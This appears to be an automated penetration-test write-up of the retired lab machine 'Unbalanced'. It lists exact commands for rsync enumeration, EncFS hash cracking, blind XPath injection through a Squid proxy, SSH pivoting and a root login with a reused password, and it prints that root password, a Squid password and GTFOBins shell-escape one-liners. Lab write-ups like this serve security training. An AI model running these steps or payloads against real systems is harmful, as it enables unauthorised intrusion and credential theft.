Unbalanced
Summary
Nmap identified rsync (873) alongside SSH (22) and Squid http-proxy 4.6 (3128). rsync --list-only rsync://<retired-instance-ip>/ exposed an anonymous module, conf_backups, holding an EncFS-encrypted volume. The volume was pulled, hashed with encfs2john.py, and cracked offline with john/rockyou (password bubblegum). No encfs binary was available in my testing environment, so a static build was pulled from Debian package pools (encfs, libfuse2, libssl1.1, libtinyxml2) and run out-of-tree with LD_LIBRARY_PATH pointed at the extracted .deb payloads, since direct execution from /tmp failed with Permission denied (noexec) and had to be relocated to /home/kali. Mounting the volume recovered squid.conf, which contained a Squid cachemgr_passwd and revealed the box brokers access to an internal intranet.unbalanced.htb app only reachable via the Squid proxy on 3128. Proxying through Squid and enumerating Host headers/backend IPs (<retired-instance-ip>–3, load-balanced intranet-hostN) surfaced intranet.php, a login form vulnerable to blind XPath injection on the Username/Password parameters. A true/false oracle (bryan' and 1=1 or 'a'='a') confirmed the injection; a scripted substring() brute-force against <retired-instance-ip> (proxied through 3128) recovered the 23-character password [REDACTED: recovered credential] for user bryan, giving direct SSH foothold and user.txt.
On the box, ~/[REDACTED: placeholder] pointed to a Pi-hole admin console bound to localhost:8080 (default temp password admin). An SSH local port-forward exposed it. Pi-hole 4.3.2's DHCP static-lease AddMAC field is vulnerable to CVE-2020-8816 (unauthenticated-parameter command injection via a validMAC-bypassing bash payload) — extensive blind-timing-oracle attempts to prove RCE and read /root/pihole_config.sh through this channel were inconclusive/contradictory and were abandoned as a dead end. Root was ultimately reached directly on the box: bryan's password was [REDACTED: recovered credential] as the root password (bUbBl3gUm$43v3Ry0n3!), allowing su - root and root.txt.
Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p22,873,3128 $TARGETnmap -Pn -p873 --script rsync-list-modules $TARGETExact commands 2
rsync rsync://$TARGET/rsync -av rsync://$TARGET/conf_backups/ ./conf_backups/FixRequire authentication for all rsync modulesHigh
Exact commands 4
python3 /usr/share/john/encfs2john.py ./conf_backups > encfs.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt encfs.hashprintf 'bubblegum\n' | encfs --stdinpass $(pwd)/conf_backups $(pwd)/cleargrep -E 'cachemgr_passwd|intranet|http_access' ./clear/squid.confFixEliminate plaintext credentials from backup archives and use strong encryption passphrasesHigh
Exact commands 3
curl -u ':Thah$Sh1' http://$TARGET:3128/squid-internal-mgr/fqdncachecurl -x http://$TARGET:3128 http://$TARGET/curl -x http://$TARGET:3128 http://$INTERNAL_TARGET/intranet.phpFixRestrict Squid's cache-manager interface to localhost onlyMedium
Exact commands 3
curl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=1 or 'a'='a&Password=[REDACTED: credential] http://$INTERNAL_TARGET/intranet.phpcurl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=2 or 'a'='b&Password=[REDACTED: credential] http://$INTERNAL_TARGET/intranet.phppython3 xpath_brute.pyFixUse parameterised queries in the intranet login form to prevent XPath injectionCritical
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'id; hostname; cat /home/bryan/user.txt'sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'cat ~/[REDACTED: placeholder]'Exact commands 3
ssh -f -N -L 18081:localhost:8080 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGETfind / -name 'pihole_config.sh' -perm -o+r 2>/dev/nullcat /root/pihole_config.shFixRestrict file permissions on scripts and config files that contain service credentialsHigh
Exact commands 1
sshpass -p '[REDACTED: recovered credential]' ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET "printf '%s\n' 'bUbBl3gUm\$43v3Ry0n3!' | su - root -c 'id; hostname; cat /root/root.txt'"FixUse a unique password for each service and OS account — never reuse credentialsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 873/tcp | rsync |
| 3128/tcp | http-proxy Squid http proxy 4.6 |